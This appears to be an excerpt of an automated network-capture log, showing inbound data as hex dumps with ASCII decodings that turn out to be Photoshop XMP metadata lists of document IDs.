2022-07-21 02:34:44 UTC	3079	IN	Data Raw: 38 34 36 37 38 32 44 41 38 33 33 35 37 32 33 34 45 44 31 46 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 32 39 44 38 41 41 39 41 38 30 37 41 46 44 46 35 35 33 41 32 30 43 44 37 31 32 44 39 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 33 43 38 34 41 31 36 33 35 33 41 31 30 31 32 43 44 42 35 41 41 35 43 44 38 45 36 41 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 34 30 30 35 34 44 38 44 34 46 45 44 35 45 41 46 41 34 38 34 38 46 37 37 35 41 36 36 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 34 30 33 45 44 36 31 46 37 44 42 37 42 42 43 41 41 37 44 30 31 42 31 32 37 45 38 42 42 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 36 32 42 46 42 44 36 46 32 33 44 46 35 Data Ascii: 846782DA83357234ED1F69</rdf:li> <rdf:li>7529D8AA9A807AFDF553A20CD712D991</rdf:li> <rdf:li>753C84A16353A1012CDB5AA5CD8E6A9B</rdf:li> <rdf:li>7540054D8D4FED5EAFA4848F775A665C</rdf:li> <rdf:li>75403ED61F7DB7BBCAA7D01B127E8BB6</rdf:li> <rdf:li>7562BFBD6F23DF5
2022-07-21 02:34:44 UTC	3151	IN	Data Raw: 64 66 3a 6c 69 3e 38 32 41 37 30 37 45 37 34 43 43 30 30 42 39 39 43 37 36 31 43 32 39 42 38 38 46 45 32 41 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 32 41 45 34 39 45 32 36 43 32 42 31 34 42 33 38 38 41 39 37 38 30 30 31 41 37 43 41 34 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 32 41 45 34 44 42 37 35 42 33 35 38 31 39 45 30 44 42 38 34 31 42 42 33 41 33 44 33 32 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 32 43 34 30 34 42 36 31 44 33 37 36 31 32 38 41 33 41 43 33 37 37 31 30 45 43 34 35 30 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 32 44 34 41 46 33 33 35 36 37 43 45 44 32 34 36 32 31 37 30 32 45 42 43 41 45 45 46 38 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: df:li>82A707E74CC00B99C761C29B88FE2AC0</rdf:li> <rdf:li>82AE49E26C2B14B388A978001A7CA4DB</rdf:li> <rdf:li>82AE4DB75B35819E0DB841BB3A3D322D</rdf:li> <rdf:li>82C404B61D376128A3AC37710EC45027</rdf:li> <rdf:li>82D4AF33567CED24621702EBCAEEF80A</rdf:li> <rdf:li
2022-07-21 02:34:44 UTC	3183	IN	Data Raw: 34 33 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 37 38 33 43 32 35 39 42 31 42 41 45 30 30 31 37 30 36 37 37 33 42 44 38 31 38 31 44 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 39 34 46 46 41 43 31 30 43 44 35 41 33 37 33 45 39 38 30 46 43 35 42 31 46 41 31 36 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 39 35 42 39 43 42 33 41 30 34 31 37 34 34 41 44 38 38 39 46 33 38 41 39 39 35 43 42 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 41 32 32 32 37 34 41 35 36 36 30 39 43 33 45 35 46 32 43 38 32 42 46 32 45 43 30 39 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 41 42 37 38 36 35 38 37 45 38 32 31 46 30 38 41 30 43 38 43 42 30 36 46 44 36 34 44 39 46 3c Data Ascii: 43A7</rdf:li> <rdf:li>8F783C259B1BAE001706773BD8181D88</rdf:li> <rdf:li>8F94FFAC10CD5A373E980FC5B1FA16C4</rdf:li> <rdf:li>8F95B9CB3A041744AD889F38A995CB45</rdf:li> <rdf:li>8FA22274A56609C3E5F2C82BF2EC09B8</rdf:li> <rdf:li>8FAB786587E821F08A0C8CB06FD64D9F<
2022-07-21 02:34:44 UTC	3191	IN	Data Raw: 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 36 46 43 42 39 42 45 44 35 41 44 35 32 30 30 34 44 30 34 38 35 43 32 44 34 33 39 33 32 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 31 44 39 32 31 37 38 34 41 34 33 39 31 45 31 45 45 41 32 31 45 30 34 30 34 41 30 42 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 33 38 41 37 39 30 42 46 33 37 43 34 36 44 30 43 34 46 36 45 44 44 32 42 46 38 42 32 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 34 34 32 35 31 46 39 37 41 45 39 32 36 31 42 35 46 43 35 38 34 32 34 31 32 32 32 31 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 34 38 36 44 34 44 46 43 37 36 37 38 36 33 33 45 38 30 37 46 45 45 31 31 42 45 38 32 37 30 3c 2f 72 Data Ascii: 67</rdf:li> <rdf:li>96FCB9BED5AD52004D0485C2D4393282</rdf:li> <rdf:li>971D921784A4391E1EEA21E0404A0BDB</rdf:li> <rdf:li>9738A790BF37C46D0C4F6EDD2BF8B29B</rdf:li> <rdf:li>9744251F97AE9261B5FC584241222195</rdf:li> <rdf:li>97486D4DFC7678633E807FEE11BE8270</r
2022-07-21 02:34:44 UTC	3207	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 32 37 45 37 32 31 44 41 43 46 44 46 33 45 33 45 31 42 46 39 39 39 38 43 37 44 36 44 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 33 45 33 36 36 36 31 44 35 44 39 38 38 45 42 45 41 42 36 42 35 31 42 44 41 45 37 43 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 35 38 30 37 44 38 41 45 35 45 35 41 45 34 31 33 32 37 32 44 31 42 46 34 39 33 33 44 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 36 32 35 34 41 37 31 36 38 35 39 31 37 39 33 44 38 31 46 31 46 42 34 39 42 31 36 45 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 36 32 46 32 37 37 43 35 43 41 36 36 31 30 36 41 38 42 41 46 44 43 46 32 33 35 46 39 42 33 3c 2f 72 64 66 3a 6c 69 Data Ascii: df:li> <rdf:li>A427E721DACFDF3E3E1BF9998C7D6D0E</rdf:li> <rdf:li>A43E36661D5D988EBEAB6B51BDAE7CD9</rdf:li> <rdf:li>A45807D8AE5E5AE413272D1BF4933D7F</rdf:li> <rdf:li>A46254A7168591793D81F1FB49B16E6A</rdf:li> <rdf:li>A462F277C5CA66106A8BAFDCF235F9B3</rdf:li
2022-07-21 02:34:44 UTC	3223	IN	Data Raw: 43 32 42 30 46 34 45 35 34 30 42 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 42 30 37 32 44 30 30 41 33 31 41 36 34 44 37 39 33 35 42 34 42 41 32 45 32 44 33 39 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 42 35 37 37 35 43 43 34 30 44 35 37 32 44 34 38 41 33 43 44 45 43 31 30 36 34 46 45 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 42 36 38 46 31 39 42 42 36 31 37 39 42 37 44 38 35 45 36 35 43 39 37 38 43 32 39 45 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 44 33 44 30 45 33 34 32 43 34 35 33 41 35 45 43 39 34 37 45 43 32 37 44 38 37 42 41 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 44 41 46 38 44 33 37 37 36 41 43 30 32 37 44 39 43 32 33 42 37 41 Data Ascii: C2B0F4E540B30</rdf:li> <rdf:li>B1B072D00A31A64D7935B4BA2E2D3989</rdf:li> <rdf:li>B1B5775CC40D572D48A3CDEC1064FE25</rdf:li> <rdf:li>B1B68F19BB6179B7D85E65C978C29E09</rdf:li> <rdf:li>B1D3D0E342C453A5EC947EC27D87BA7B</rdf:li> <rdf:li>B1DAF8D3776AC027D9C23B7A
2022-07-21 02:34:44 UTC	3231	IN	Data Raw: 45 32 35 35 43 46 39 30 45 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 30 39 35 39 41 42 32 45 41 35 46 34 46 33 41 38 36 38 43 42 37 35 46 43 43 34 34 33 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 30 41 38 43 36 30 42 41 46 46 33 34 37 46 45 31 41 31 37 31 38 37 42 46 31 32 37 46 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 32 37 44 45 43 33 35 38 45 43 41 42 36 39 34 32 45 36 36 39 32 42 43 43 33 33 37 37 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 33 32 44 33 34 37 44 34 37 35 39 42 37 45 33 44 30 44 41 45 43 43 38 31 42 32 44 30 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 35 44 36 41 45 46 43 42 37 34 37 42 43 36 39 31 43 30 46 37 31 38 31 46 Data Ascii: E255CF90EEF</rdf:li> <rdf:li>B80959AB2EA5F4F3A868CB75FCC44319</rdf:li> <rdf:li>B80A8C60BAFF347FE1A17187BF127FF9</rdf:li> <rdf:li>B827DEC358ECAB6942E6692BCC3377CA</rdf:li> <rdf:li>B832D347D4759B7E3D0DAECC81B2D07B</rdf:li> <rdf:li>B85D6AEFCB747BC691C0F7181F
2022-07-21 02:34:44 UTC	3232	IN	Data Raw: 42 46 31 31 36 36 38 35 46 38 42 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 34 46 45 41 36 46 43 37 34 36 36 38 36 45 46 31 31 36 33 42 32 43 43 34 34 34 46 38 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 35 43 45 35 30 30 32 46 43 44 33 42 30 39 31 36 36 46 30 37 41 31 35 45 30 33 44 45 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 36 39 39 32 34 41 37 31 32 46 33 42 39 38 33 35 43 46 33 46 37 35 30 37 46 32 37 31 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 37 34 41 34 44 41 34 42 39 32 33 43 35 39 30 43 36 36 33 32 45 37 41 45 35 41 44 38 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 37 46 35 46 30 34 38 41 34 43 42 42 34 35 33 34 39 38 45 31 46 42 Data Ascii: BF116685F8B25</rdf:li> <rdf:li>B94FEA6FC746686EF1163B2CC444F868</rdf:li> <rdf:li>B95CE5002FCD3B09166F07A15E03DEA8</rdf:li> <rdf:li>B969924A712F3B9835CF3F7507F271EF</rdf:li> <rdf:li>B974A4DA4B923C590C6632E7AE5AD8F3</rdf:li> <rdf:li>B97F5F048A4CBB453498E1FB
2022-07-21 02:34:44 UTC	3248	IN	Data Raw: 32 36 38 39 39 36 38 32 42 38 41 32 44 45 32 42 33 37 30 35 44 32 35 30 45 30 43 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 41 32 43 39 41 33 34 45 46 44 33 34 32 38 43 31 33 31 39 44 46 45 35 46 32 45 36 41 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 41 42 42 34 32 39 46 35 31 43 38 45 41 37 45 32 36 32 31 30 33 36 41 41 30 39 30 36 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 42 32 38 38 37 33 36 30 30 33 39 43 39 37 42 37 34 38 32 34 43 33 30 39 36 31 39 41 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 42 39 33 41 38 46 44 43 44 30 33 42 46 36 30 46 33 32 39 45 36 36 33 46 37 33 45 36 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 43 32 32 43 45 38 Data Ascii: 26899682B8A2DE2B3705D250E0C29</rdf:li> <rdf:li>C7A2C9A34EFD3428C1319DFE5F2E6A9F</rdf:li> <rdf:li>C7ABB429F51C8EA7E2621036AA09069E</rdf:li> <rdf:li>C7B2887360039C97B74824C309619A49</rdf:li> <rdf:li>C7B93A8FDCD03BF60F329E663F73E67C</rdf:li> <rdf:li>C7C22CE8
2022-07-21 02:34:44 UTC	3264	IN	Data Raw: 38 35 30 38 35 41 36 46 39 36 33 30 36 34 30 36 39 38 42 32 43 41 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 39 32 36 45 31 34 32 30 31 46 37 31 33 44 43 35 46 39 32 39 30 41 30 42 34 44 31 32 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 39 46 32 43 30 46 44 39 38 35 35 31 43 42 43 46 31 33 31 31 43 46 46 33 36 33 33 37 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 41 32 31 34 35 41 32 35 46 35 43 36 32 31 37 39 31 36 45 36 39 34 45 44 38 34 39 43 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 42 35 33 45 45 38 31 43 36 36 43 43 36 43 30 43 39 45 33 37 32 30 41 37 30 32 35 45 34 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 42 37 41 45 39 32 44 36 30 36 32 Data Ascii: 85085A6F9630640698B2CAF8</rdf:li> <rdf:li>D4926E14201F713DC5F9290A0B4D12D9</rdf:li> <rdf:li>D49F2C0FD98551CBCF1311CFF36337AB</rdf:li> <rdf:li>D4A2145A25F5C6217916E694ED849C9D</rdf:li> <rdf:li>D4B53EE81C66CC6C0C9E3720A7025E4E</rdf:li> <rdf:li>D4B7AE92D6062
2022-07-21 02:34:44 UTC	3271	IN	Data Raw: 31 41 34 36 44 37 32 38 30 36 33 43 43 31 38 43 39 46 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 41 42 35 44 31 34 44 30 33 32 39 33 42 42 46 32 43 34 44 46 44 38 43 32 36 44 31 44 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 43 38 30 32 43 34 38 38 31 38 32 35 35 35 44 37 38 41 45 31 43 36 36 43 34 41 32 39 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 44 43 42 30 32 35 32 35 46 43 41 35 43 30 36 46 38 41 45 45 42 37 46 31 38 37 38 46 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 45 36 45 30 45 43 46 33 44 39 37 44 39 42 42 44 39 42 41 31 33 44 39 39 43 38 34 41 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 45 44 31 46 34 37 43 45 32 38 31 42 45 46 31 Data Ascii: 1A46D728063CC18C9FDD</rdf:li> <rdf:li>D9AB5D14D03293BBF2C4DFD8C26D1D73</rdf:li> <rdf:li>D9C802C488182555D78AE1C66C4A29B3</rdf:li> <rdf:li>D9DCB02525FCA5C06F8AEEB7F1878F2A</rdf:li> <rdf:li>D9E6E0ECF3D97D9BBD9BA13D99C84A2A</rdf:li> <rdf:li>D9ED1F47CE281BEF1
2022-07-21 02:34:44 UTC	3287	IN	Data Raw: 3a 6c 69 3e 45 37 34 34 44 34 44 37 31 45 42 45 39 34 42 46 37 37 41 43 34 43 34 38 37 37 34 34 34 38 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 34 41 31 31 41 39 38 35 38 44 45 42 33 30 35 46 31 34 30 45 46 32 32 43 43 43 30 42 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 36 34 43 45 32 44 30 30 30 45 38 41 41 45 45 31 38 46 35 35 46 43 38 32 35 43 35 36 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 36 43 38 43 31 45 38 34 41 34 32 38 31 36 42 31 33 33 33 34 34 37 46 41 44 36 39 41 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 37 36 34 44 39 31 38 35 32 46 43 44 30 42 34 34 41 35 43 37 30 34 37 33 44 34 43 33 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 Data Ascii: :li>E744D4D71EBE94BF77AC4C4877444813</rdf:li> <rdf:li>E74A11A9858DEB305F140EF22CCC0BEB</rdf:li> <rdf:li>E764CE2D000E8AAEE18F55FC825C56CC</rdf:li> <rdf:li>E76C8C1E84A42816B1333447FAD69A4D</rdf:li> <rdf:li>E7764D91852FCD0B44A5C70473D4C3CD</rdf:li> <rdf:li>E
2022-07-21 02:34:44 UTC	3303	IN	Data Raw: 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 42 37 32 36 31 44 32 39 30 44 46 36 38 31 41 39 33 37 39 32 30 34 31 33 43 31 43 43 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 42 45 41 43 42 39 37 31 32 33 36 46 33 31 39 37 39 33 38 30 44 43 39 46 42 30 31 38 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 43 39 44 35 45 39 30 44 34 34 46 33 30 30 36 45 41 38 30 33 31 39 32 31 44 43 35 33 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 44 33 37 38 31 32 38 45 35 36 37 43 44 33 45 38 45 31 39 39 42 42 30 45 37 46 31 30 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 45 33 37 32 45 45 33 31 32 34 42 39 32 42 36 34 38 44 42 45 30 31 42 41 38 31 32 45 41 41 3c 2f 72 Data Ascii: 8F</rdf:li> <rdf:li>F2B7261D290DF681A937920413C1CC12</rdf:li> <rdf:li>F2BEACB971236F31979380DC9FB018AB</rdf:li> <rdf:li>F2C9D5E90D44F3006EA8031921DC5329</rdf:li> <rdf:li>F2D378128E567CD3E8E199BB0E7F103A</rdf:li> <rdf:li>F2E372EE3124B92B648DBE01BA812EAA</r
2022-07-21 02:34:44 UTC	3310	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 32 39 30 34 31 46 34 37 45 43 35 33 33 36 45 43 33 45 32 46 43 43 41 42 46 32 38 45 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 33 39 36 33 35 39 44 42 37 43 36 41 35 33 35 35 39 34 36 43 44 38 33 33 37 34 45 43 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 34 36 38 35 46 45 38 32 34 37 45 35 33 31 37 30 32 42 34 31 39 39 35 43 32 34 34 30 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 35 41 33 42 33 37 41 44 35 31 39 39 46 31 44 36 41 30 32 37 46 32 32 30 44 32 31 32 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 35 41 34 35 32 44 34 37 43 43 43 35 35 46 37 34 32 32 45 43 45 45 44 37 32 32 46 39 42 42 3c 2f 72 64 66 Data Ascii: </rdf:li> <rdf:li>F929041F47EC5336EC3E2FCCABF28E3A</rdf:li> <rdf:li>F9396359DB7C6A5355946CD83374ECAE</rdf:li> <rdf:li>F94685FE8247E531702B41995C244099</rdf:li> <rdf:li>F95A3B37AD5199F1D6A027F220D212E9</rdf:li> <rdf:li>F95A452D47CCC55F7422ECEED722F9BB</rdf
2022-07-21 02:34:44 UTC	3326	IN	Data Raw: 64 65 64 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 39 66 33 33 39 38 30 2d 38 32 31 62 2d 31 31 64 62 2d 38 64 36 64 2d 63 39 34 37 39 64 39 38 30 30 38 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 61 30 62 37 35 61 37 2d 64 39 38 66 2d 31 31 37 38 2d 61 32 30 64 2d 61 66 32 65 66 39 63 31 39 37 64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 61 32 37 61 34 39 32 2d 34 61 61 66 2d 31 31 37 38 2d 61 32 34 63 2d 66 31 30 32 63 35 38 30 64 64 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 Data Ascii: dedc</rdf:li> <rdf:li>adobe:docid:photoshop:19f33980-821b-11db-8d6d-c9479d98008f</rdf:li> <rdf:li>adobe:docid:photoshop:1a0b75a7-d98f-1178-a20d-af2ef9c197df</rdf:li> <rdf:li>adobe:docid:photoshop:1a27a492-4aaf-1178-a24c-f102c580dd27</rdf:li> <rdf:li>adobe
2022-07-21 02:34:44 UTC	3692	IN	Data Raw: 34 39 37 65 38 30 38 30 2d 64 38 33 32 2d 31 31 65 36 2d 38 63 31 31 2d 64 31 32 30 61 30 63 65 37 35 62 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 39 38 34 31 30 35 35 2d 31 32 62 34 2d 31 31 65 38 2d 62 65 39 32 2d 64 61 35 34 62 32 34 38 32 32 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 39 39 39 38 62 62 37 2d 33 34 30 36 2d 31 31 37 38 2d 62 66 32 36 2d 64 62 37 36 30 36 38 30 31 61 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 61 35 39 30 34 36 30 2d 66 31 65 33 2d 31 31 65 37 2d 61 62 31 30 2d 62 37 36 Data Ascii: 497e8080-d832-11e6-8c11-d120a0ce75b7</rdf:li> <rdf:li>adobe:docid:photoshop:49841055-12b4-11e8-be92-da54b2482239</rdf:li> <rdf:li>adobe:docid:photoshop:49998bb7-3406-1178-bf26-db7606801a44</rdf:li> <rdf:li>adobe:docid:photoshop:4a590460-f1e3-11e7-ab10-b76
2022-07-21 02:34:44 UTC	3700	IN	Data Raw: 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 31 33 61 39 36 38 35 2d 34 39 61 64 2d 31 31 64 38 2d 62 63 32 31 2d 65 35 62 37 35 31 63 65 63 62 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 31 62 34 61 65 30 33 2d 36 62 66 39 2d 31 31 64 39 2d 38 63 64 36 2d 65 63 33 34 39 30 34 38 64 35 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 31 66 30 62 64 63 38 2d 65 31 37 35 2d 31 31 64 38 2d 38 30 35 31 2d 38 38 38 38 33 63 33 30 36 63 63 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 Data Ascii: df:li>adobe:docid:photoshop:613a9685-49ad-11d8-bc21-e5b751cecb20</rdf:li> <rdf:li>adobe:docid:photoshop:61b4ae03-6bf9-11d9-8cd6-ec349048d578</rdf:li> <rdf:li>adobe:docid:photoshop:61f0bdc8-e175-11d8-8051-88883c306cc2</rdf:li> <rdf:li>adobe:docid:photoshop
2022-07-21 02:34:44 UTC	3716	IN	Data Raw: 64 39 2d 38 62 35 37 2d 38 63 61 61 35 33 61 38 34 31 63 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 30 61 32 37 35 66 66 2d 32 63 63 63 2d 31 31 65 36 2d 61 63 65 36 2d 66 31 35 37 38 36 39 37 65 37 61 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 31 66 37 61 32 61 64 2d 66 31 39 35 2d 31 31 65 34 2d 61 61 64 64 2d 63 66 64 35 30 66 65 62 30 38 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 32 30 30 63 32 65 33 2d 39 61 61 62 2d 31 31 37 61 2d 39 35 38 65 2d 61 64 36 62 63 65 36 31 62 39 30 38 3c 2f 72 64 66 3a 6c Data Ascii: d9-8b57-8caa53a841c7</rdf:li> <rdf:li>adobe:docid:photoshop:90a275ff-2ccc-11e6-ace6-f1578697e7ab</rdf:li> <rdf:li>adobe:docid:photoshop:91f7a2ad-f195-11e4-aadd-cfd50feb0808</rdf:li> <rdf:li>adobe:docid:photoshop:9200c2e3-9aab-117a-958e-ad6bce61b908</rdf:l
2022-07-21 02:34:44 UTC	3732	IN	Data Raw: 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 33 38 38 33 35 39 39 2d 66 33 64 32 2d 31 31 65 36 2d 62 61 36 37 2d 61 61 64 30 32 33 63 35 30 65 35 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 33 63 38 37 34 32 37 2d 63 38 31 34 2d 31 31 37 61 2d 39 32 35 65 2d 62 32 64 66 39 36 35 62 39 64 35 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 34 32 32 63 64 39 36 2d 62 66 34 34 2d 31 31 65 37 2d 38 64 39 65 2d 65 61 61 39 66 39 65 66 35 36 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 34 33 31 37 64 33 65 2d 35 31 Data Ascii: docid:photoshop:c3883599-f3d2-11e6-ba67-aad023c50e50</rdf:li> <rdf:li>adobe:docid:photoshop:c3c87427-c814-117a-925e-b2df965b9d5f</rdf:li> <rdf:li>adobe:docid:photoshop:c422cd96-bf44-11e7-8d9e-eaa9f9ef5651</rdf:li> <rdf:li>adobe:docid:photoshop:c4317d3e-51
